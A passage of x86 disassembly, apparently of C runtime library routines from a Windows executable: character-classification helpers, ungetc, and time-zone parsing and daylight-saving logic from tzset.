call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_428A3A
; ---------------------------------------------------------------------------
loc_428A23: ; CODE XREF: ___:00428A0Bj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp-4], eax
loc_428A3A: ; CODE XREF: ___:00428A21j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428A50 proc near ; CODE XREF: sub_420920+105p
; sub_421DE0+24p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_428A70
push 8
mov eax, [ebp+arg_0]
push eax
call sub_41DA90
add esp, 8
mov [ebp+var_4], eax
jmp short loc_428A85
; ---------------------------------------------------------------------------
loc_428A70: ; CODE XREF: sub_428A50+Bj
mov ecx, [ebp+arg_0]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8
mov [ebp+var_4], eax
loc_428A85: ; CODE XREF: sub_428A50+1Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_428A50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_428AB0
push 10h
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_428AC5
; ---------------------------------------------------------------------------
loc_428AB0: ; CODE XREF: ___:00428A9Bj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 10h
mov [ebp-4], eax
loc_428AC5: ; CODE XREF: ___:00428AAEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_428AF3
push 107h
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_428B0A
; ---------------------------------------------------------------------------
loc_428AF3: ; CODE XREF: ___:00428ADBj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_428B0A: ; CODE XREF: ___:00428AF1j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_428B43
push 157h
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_428B5A
; ---------------------------------------------------------------------------
loc_428B43: ; CODE XREF: ___:00428B2Bj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 157h
mov [ebp-4], eax
loc_428B5A: ; CODE XREF: ___:00428B41j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_428B93
push 117h
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_428BAA
; ---------------------------------------------------------------------------
loc_428B93: ; CODE XREF: ___:00428B7Bj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 117h
mov [ebp-4], eax
loc_428BAA: ; CODE XREF: ___:00428B91j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_428BE0
push 20h
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_428BF5
; ---------------------------------------------------------------------------
loc_428BE0: ; CODE XREF: ___:00428BCBj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 20h
mov [ebp-4], eax
loc_428BF5: ; CODE XREF: ___:00428BDEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 80h
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 7Fh
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_443B70, 1
jle short loc_428C45
push 103h
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_428C5C
; ---------------------------------------------------------------------------
loc_428C45: ; CODE XREF: ___:00428C2Dj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_428C5C: ; CODE XREF: ___:00428C43j
cmp dword ptr [ebp-4], 0
jnz short loc_428C71
cmp dword ptr [ebp+8], 5Fh
jz short loc_428C71
mov dword ptr [ebp-8], 0
jmp short loc_428C78
; ---------------------------------------------------------------------------
loc_428C71: ; CODE XREF: ___:00428C60j
; ___:00428C66j
mov dword ptr [ebp-8], 1
loc_428C78: ; CODE XREF: ___:00428C6Fj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_443B70, 1
jle short loc_428CA5
push 107h
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_428CBC
; ---------------------------------------------------------------------------
loc_428CA5: ; CODE XREF: ___:00428C8Dj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_428CBC: ; CODE XREF: ___:00428CA3j
cmp dword ptr [ebp-4], 0
jnz short loc_428CD1
cmp dword ptr [ebp+8], 5Fh
jz short loc_428CD1
mov dword ptr [ebp-8], 0
jmp short loc_428CD8
; ---------------------------------------------------------------------------
loc_428CD1: ; CODE XREF: ___:00428CC0j
; ___:00428CC6j
mov dword ptr [ebp-8], 1
loc_428CD8: ; CODE XREF: ___:00428CCFj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_428CE0 proc near ; CODE XREF: sub_420920+9D7p
; sub_420920+A65p ...
cmp cl, 40h
jnb short loc_428CFA
cmp cl, 20h
jnb short loc_428CF0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_428CF0: ; CODE XREF: sub_428CE0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_428CFA: ; CODE XREF: sub_428CE0+3j
xor eax, eax
xor edx, edx
retn
sub_428CE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_428D07: ; CODE XREF: ___:00428D2Fj
cmp dword ptr [ebp+0Ch], 0
jnz short loc_428D2B
push offset dword_4334A4
push 0
push 31h
push offset aUngetc_c ; "ungetc.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_428D2B
int 3 ; Trap to Debugger
loc_428D2B: ; CODE XREF: ___:00428D0Bj
; ___:00428D28j
xor eax, eax
test eax, eax
jnz short loc_428D07
mov ecx, [ebp+0Ch]
push ecx
call sub_418E90
add esp, 4
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_428D70
add esp, 8
mov [ebp-4], eax
mov ecx, [ebp+0Ch]
push ecx
call sub_418F00
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428D70 proc near ; CODE XREF: sub_421DC0+11p
; ___:00428D45p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_428D77: ; CODE XREF: sub_428D70+2Fj
cmp [ebp+arg_4], 0
jnz short loc_428D9B
push offset dword_4334B4
push 0
push 60h
push offset aUngetc_c ; "ungetc.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_428D9B
int 3 ; Trap to Debugger
loc_428D9B: ; CODE XREF: sub_428D70+Bj
; sub_428D70+28j
xor eax, eax
test eax, eax
jnz short loc_428D77
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_428DD7
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jnz short loc_428DDF
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_428DD7
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_428DDF
loc_428DD7: ; CODE XREF: sub_428D70+3Bj
; sub_428D70+58j
or eax, 0FFFFFFFFh
jmp loc_428EA7
; ---------------------------------------------------------------------------
loc_428DDF: ; CODE XREF: sub_428D70+48j
; sub_428D70+65j
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jnz short loc_428DF4
mov eax, [ebp+var_4]
push eax
call sub_427F40
add esp, 4
loc_428DF4: ; CODE XREF: sub_428D70+76j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [ecx]
cmp eax, [edx+8]
jnz short loc_428E1F
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_428E12
or eax, 0FFFFFFFFh
jmp loc_428EA7
; ---------------------------------------------------------------------------
loc_428E12: ; CODE XREF: sub_428D70+98j
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
loc_428E1F: ; CODE XREF: sub_428D70+8Fj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 40h
test eax, eax
jz short loc_428E5D
mov ecx, [ebp+var_4]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax], edx
mov ecx, [ebp+var_4]
mov edx, [ecx]
movsx eax, byte ptr [edx]
movsx ecx, byte ptr [ebp+arg_0]
cmp eax, ecx
jz short loc_428E5B
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
or eax, 0FFFFFFFFh
jmp short loc_428EA7
; ---------------------------------------------------------------------------
loc_428E5B: ; CODE XREF: sub_428D70+D7j
jmp short loc_428E74
; ---------------------------------------------------------------------------
loc_428E5D: ; CODE XREF: sub_428D70+BAj
mov edx, [ebp+var_4]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov eax, [edx]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
loc_428E74: ; CODE XREF: sub_428D70:loc_428E5Bj
mov edx, [ebp+var_4]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx+4], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and al, 0EFh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_428EA7: ; CODE XREF: sub_428D70+6Aj
; sub_428D70+9Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_428D70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428EB0 proc near ; CODE XREF: sub_421E20+8Ap
; sub_42EC70:loc_42F18Bp
push ebp
mov ebp, esp
cmp dword_4DB3C0, 0
jnz short loc_428EEB
push 0Bh
call sub_41B780
add esp, 4
cmp dword_4DB3C0, 0
jnz short loc_428EE1
call sub_428F10
mov eax, dword_4DB3C0
add eax, 1
mov dword_4DB3C0, eax
loc_428EE1: ; CODE XREF: sub_428EB0+1Dj
push 0Bh
call sub_41B820
add esp, 4
loc_428EEB: ; CODE XREF: sub_428EB0+Aj
pop ebp
retn
sub_428EB0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0Bh
call sub_41B780
add esp, 4
call sub_428F10
push 0Bh
call sub_41B820
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428F10 proc near ; CODE XREF: sub_428EB0+1Fp
; ___:00428EFDp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
push 0Ch
call sub_41B780
add esp, 4
mov dword_4DB308, 0
mov dword_444588, 0FFFFFFFFh
mov eax, dword_444588
mov dword_444578, eax
push offset aTz ; "TZ"
call sub_42D080
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz loc_429093
push 0Ch
call sub_41B820
add esp, 4
push offset dword_4DB310
nop
call near ptr 283011Ch
cmp eax, 0FFFFFFFFh
jz loc_42908E
mov dword_4DB308, 1
mov ecx, dword_4DB310
imul ecx, 3Ch
mov dword_4444E0, ecx
xor edx, edx
mov dx, word_4DB356
test edx, edx
jz short loc_428FB9
mov eax, dword_4DB364
imul eax, 3Ch
mov ecx, dword_4444E0
add ecx, eax
mov dword_4444E0, ecx
loc_428FB9: ; CODE XREF: sub_428F10+91j
xor edx, edx
mov dx, word_4DB3AA
test edx, edx
jz short loc_428FEE
cmp dword_4DB3B8, 0
jz short loc_428FEE
mov dword_4444E4, 1
mov eax, dword_4DB3B8
sub eax, dword_4DB364
imul eax, 3Ch
mov dword_4444E8, eax
jmp short loc_429002
; ---------------------------------------------------------------------------
loc_428FEE: ; CODE XREF: sub_428F10+B4j
; sub_428F10+BDj
mov dword_4444E4, 0
mov dword_4444E8, 0
loc_429002: ; CODE XREF: sub_428F10+DCj
lea ecx, [ebp+var_8]
push ecx
push 0
push 3Fh
mov edx, off_44456C
push edx
push 0FFFFFFFFh
push offset dword_4DB314
push 220h
mov eax, dword_4DB1C8
push eax
nop
call near ptr 2710000h
test eax, eax
jz short loc_42903F
cmp [ebp+var_8], 0
jnz short loc_42903F
mov ecx, off_44456C
mov byte ptr [ecx+3Fh], 0
jmp short loc_429048
; ---------------------------------------------------------------------------
loc_42903F: ; CODE XREF: sub_428F10+11Bj
; sub_428F10+121j
mov edx, off_44456C
mov byte ptr [edx], 0
loc_429048: ; CODE XREF: sub_428F10+12Dj
lea eax, [ebp+var_8]
push eax
push 0
push 3Fh
mov ecx, off_444570
push ecx
push 0FFFFFFFFh
push offset dword_4DB368
push 220h
mov edx, dword_4DB1C8
push edx
call near ptr 2710000h
nop
test eax, eax
jz short loc_429085
cmp [ebp+var_8], 0
jnz short loc_429085
mov eax, off_444570
mov byte ptr [eax+3Fh], 0
jmp short loc_42908E
; ---------------------------------------------------------------------------
loc_429085: ; CODE XREF: sub_428F10+162j
; sub_428F10+168j
mov ecx, off_444570
mov byte ptr [ecx], 0
loc_42908E: ; CODE XREF: sub_428F10+67j
; sub_428F10+173j
jmp loc_4292B7
; ---------------------------------------------------------------------------
loc_429093: ; CODE XREF: sub_428F10+49j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_4290BD
cmp dword_4DB3BC, 0
jz short loc_4290CC
mov ecx, dword_4DB3BC
push ecx
mov edx, [ebp+var_C]
push edx
call sub_417870
add esp, 8
test eax, eax
jnz short loc_4290CC
loc_4290BD: ; CODE XREF: sub_428F10+18Bj
push 0Ch
call sub_41B820
add esp, 4
jmp loc_4292B7
; ---------------------------------------------------------------------------
loc_4290CC: ; CODE XREF: sub_428F10+194j
; sub_428F10+1ABj
push 2
mov eax, dword_4DB3BC
push eax
call sub_415860
add esp, 8
push 10Ch
push offset aTzset_c ; "tzset.c"
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_414BE0
add esp, 4
add eax, 1
push eax
call sub_414DD0
add esp, 10h
mov dword_4DB3BC, eax
cmp dword_4DB3BC, 0
jnz short loc_42911D
push 0Ch
call sub_41B820
add esp, 4
jmp loc_4292B7
; ---------------------------------------------------------------------------
loc_42911D: ; CODE XREF: sub_428F10+1FCj
mov edx, [ebp+var_C]
push edx
mov eax, dword_4DB3BC
push eax
call sub_4184C0
add esp, 8
push 0Ch
call sub_41B820
add esp, 4
push 3
mov ecx, [ebp+var_C]
push ecx
mov edx, off_44456C
push edx
call sub_417770
add esp, 0Ch
mov eax, off_44456C
mov byte ptr [eax+3], 0
mov ecx, [ebp+var_C]
add ecx, 3
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_42917D
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_42917D: ; CODE XREF: sub_428F10+259j
mov eax, [ebp+var_C]
push eax
call sub_4173D0
add esp, 4
imul eax, 0E10h
mov dword_4444E0, eax
loc_429194: ; CODE XREF: sub_428F10+2AEj
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 2Bh
jz short loc_4291B5
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_4291C0
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_4291C0
loc_4291B5: ; CODE XREF: sub_428F10+28Dj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_429194
; ---------------------------------------------------------------------------
loc_4291C0: ; CODE XREF: sub_428F10+298j
; sub_428F10+2A3j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 3Ah
jnz loc_429265
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
push edx
call sub_4173D0
add esp, 4
imul eax, 3Ch
mov ecx, dword_4444E0
add ecx, eax
mov dword_4444E0, ecx
loc_4291F5: ; CODE XREF: sub_428F10+304j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_429216
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_429216
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_4291F5
; ---------------------------------------------------------------------------
loc_429216: ; CODE XREF: sub_428F10+2EEj
; sub_428F10+2F9j
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 3Ah
jnz short loc_429265
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
push ecx
call sub_4173D0
add esp, 4
mov edx, dword_4444E0
add edx, eax
mov dword_4444E0, edx
loc_429244: ; CODE XREF: sub_428F10+353j
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_429265
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_429265
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_429244
; ---------------------------------------------------------------------------
loc_429265: ; CODE XREF: sub_428F10+2B9j
; sub_428F10+30Fj ...
cmp [ebp+var_4], 0
jz short loc_429279
mov edx, dword_4444E0
neg edx
mov dword_4444E0, edx
loc_429279: ; CODE XREF: sub_428F10+359j
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
mov dword_4444E4, ecx
cmp dword_4444E4, 0
jz short loc_4292AE
push 3
mov edx, [ebp+var_C]
push edx
mov eax, off_444570
push eax
call sub_417770
add esp, 0Ch
mov ecx, off_444570
mov byte ptr [ecx+3], 0
jmp short loc_4292B7
; ---------------------------------------------------------------------------
loc_4292AE: ; CODE XREF: sub_428F10+37Cj
mov edx, off_444570
mov byte ptr [edx], 0
loc_4292B7: ; CODE XREF: sub_428F10:loc_42908Ej
; sub_428F10+1B7j ...
mov esp, ebp
pop ebp
retn
sub_428F10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4292C0 proc near ; CODE XREF: sub_421E20+CFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 0Bh
call sub_41B780
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_4292F0
add esp, 4
mov [ebp+var_4], eax
push 0Bh
call sub_41B820
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4292C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4292F0 proc near ; CODE XREF: sub_4292C0+12p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4444E4, 0
jnz short loc_429304
xor eax, eax
jmp loc_4295E6
; ---------------------------------------------------------------------------
loc_429304: ; CODE XREF: sub_4292F0+Bj
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
cmp ecx, dword_444578
jnz short loc_429324
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
cmp eax, dword_444588
jz loc_4294EB
loc_429324: ; CODE XREF: sub_4292F0+20j
cmp dword_4DB308, 0
jz loc_4294A5
xor ecx, ecx
mov cx, word_4DB3A8
test ecx, ecx
jnz short loc_429399
xor edx, edx
mov dx, word_4DB3B6
push edx
xor eax, eax
mov ax, word_4DB3B4
push eax
xor ecx, ecx
mov cx, word_4DB3B2
push ecx
xor edx, edx
mov dx, word_4DB3B0
push edx
push 0
xor eax, eax
mov ax, word_4DB3AC
push eax
xor ecx, ecx
mov cx, word_4DB3AE
push ecx
xor edx, edx
mov dx, word_4DB3AA
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 1
call sub_4295F0
add esp, 2Ch
jmp short loc_4293EA
; ---------------------------------------------------------------------------
loc_429399: ; CODE XREF: sub_4292F0+4Cj
xor edx, edx
mov dx, word_4DB3B6
push edx
xor eax, eax
mov ax, word_4DB3B4
push eax
xor ecx, ecx
mov cx, word_4DB3B2
push ecx
xor edx, edx
mov dx, word_4DB3B0
push edx
xor eax, eax
mov ax, word_4DB3AE
push eax
push 0
push 0
xor ecx, ecx
mov cx, word_4DB3AA
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 1
call sub_4295F0
add esp, 2Ch
loc_4293EA: ; CODE XREF: sub_4292F0+A7j
xor ecx, ecx
mov cx, word_4DB354
test ecx, ecx
jnz short loc_429452
xor edx, edx
mov dx, word_4DB362
push edx
xor eax, eax
mov ax, word_4DB360
push eax
xor ecx, ecx
mov cx, word_4DB35E
push ecx
xor edx, edx
mov dx, word_4DB35C
push edx
push 0
xor eax, eax
mov ax, word_4DB358
push eax
xor ecx, ecx
mov cx, word_4DB35A
push ecx
xor edx, edx
mov dx, word_4DB356
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_4295F0
add esp, 2Ch
jmp short loc_4294A3
; ---------------------------------------------------------------------------
loc_429452: ; CODE XREF: sub_4292F0+105j
xor edx, edx
mov dx, word_4DB362
push edx
xor eax, eax
mov ax, word_4DB360
push eax
xor ecx, ecx
mov cx, word_4DB35E
push ecx
xor edx, edx
mov dx, word_4DB35C
push edx
xor eax, eax
mov ax, word_4DB35A
push eax
push 0
push 0
xor ecx, ecx
mov cx, word_4DB356
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 0
call sub_4295F0
add esp, 2Ch
loc_4294A3: ; CODE XREF: sub_4292F0+160j
jmp short loc_4294EB
; ---------------------------------------------------------------------------
loc_4294A5: ; CODE XREF: sub_4292F0+3Bj
push 0
push 0
push 0
push 2
push 0
push 0
push 1
push 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
push edx
push 1
push 1
call sub_4295F0
add esp, 2Ch
push 0
push 0
push 0
push 2
push 0
push 0
push 5
push 0Ah
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_4295F0
add esp, 2Ch
loc_4294EB: ; CODE XREF: sub_4292F0+2Ej
; sub_4292F0:loc_4294A3j
mov edx, dword_44457C
cmp edx, dword_44458C
jge short loc_429544
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_44457C
jl short loc_429515
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_44458C
jle short loc_42951C
loc_429515: ; CODE XREF: sub_4292F0+215j
xor eax, eax
jmp loc_4295E6
; ---------------------------------------------------------------------------
loc_42951C: ; CODE XREF: sub_4292F0+223j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_44457C
jle short loc_429542
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_44458C
jge short loc_429542
mov eax, 1
jmp loc_4295E6
; ---------------------------------------------------------------------------
loc_429542: ; CODE XREF: sub_4292F0+238j
; sub_4292F0+246j
jmp short loc_429587
; ---------------------------------------------------------------------------
loc_429544: ; CODE XREF: sub_4292F0+207j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_44458C
jl short loc_429560
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_44457C
jle short loc_429567
loc_429560: ; CODE XREF: sub_4292F0+260j
mov eax, 1
jmp short loc_4295E6
; ---------------------------------------------------------------------------
loc_429567: ; CODE XREF: sub_4292F0+26Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_44458C
jle short loc_429587
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_44457C
jge short loc_429587
xor eax, eax
jmp short loc_4295E6
; ---------------------------------------------------------------------------
loc_429587: ; CODE XREF: sub_4292F0:loc_429542j
; sub_4292F0+283j ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
imul edx, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, edx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
imul eax, 0E10h
add ecx, eax
imul ecx, 3E8h
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_44457C
jnz short loc_4295D2
mov eax, [ebp+var_4]
cmp eax, dword_444580
jl short loc_4295CE
mov eax, 1
jmp short loc_4295E6
; ---------------------------------------------------------------------------
loc_4295CE: ; CODE XREF: sub_4292F0+2D5j
xor eax, eax
jmp short loc_4295E6
; ---------------------------------------------------------------------------
loc_4295D2: ; CODE XREF: sub_4292F0+2CAj
mov ecx, [ebp+var_4]
cmp ecx, dword_444590
jge short loc_4295E4
mov eax, 1
jmp short loc_4295E6
; ---------------------------------------------------------------------------
loc_4295E4: ; CODE XREF: sub_4292F0+2EBj
xor eax, eax
loc_4295E6: ; CODE XREF: sub_4292F0+Fj
; sub_4292F0+227j ...
mov esp, ebp
pop ebp
retn
sub_4292F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4295F0 proc near ; CODE XREF: sub_4292F0+9Fp
; sub_4292F0+F2p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_4], 1
jnz loc_4296CC
mov eax, [ebp+arg_8]
and eax, 3
test eax, eax
jnz short loc_429619
mov ecx, [ebp+arg_C]
mov edx, dword_444590[ecx*4]
mov [ebp+var_C], edx
jmp short loc_429626
; ---------------------------------------------------------------------------
loc_429619: ; CODE XREF: sub_4295F0+18j
mov eax, [ebp+arg_C]
mov ecx, dword_4445C4[eax*4]
mov [ebp+var_C], ecx
loc_429626: ; CODE XREF: sub_4295F0+27j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+arg_8]
sub eax, 46h
imul eax, 16Dh
mov ecx, [ebp+var_8]
add ecx, eax
mov edx, [ebp+arg_8]
sub edx, 1
sar edx, 2
lea eax, [ecx+edx-0Dh]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_14]
jge short loc_429679
mov eax, [ebp+arg_14]
sub eax, [ebp+var_4]
mov ecx, [ebp+arg_10]
sub ecx, 1
imul ecx, 7
add ecx, [ebp+var_8]
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_42968D
; ---------------------------------------------------------------------------
loc_429679: ; CODE XREF: sub_4295F0+6Ej
mov edx, [ebp+arg_14]
sub edx, [ebp+var_4]
mov eax, [ebp+arg_10]
imul eax, 7
add eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
loc_42968D: ; CODE XREF: sub_4295F0+87j
cmp [ebp+arg_10], 5
jnz short loc_4296CA
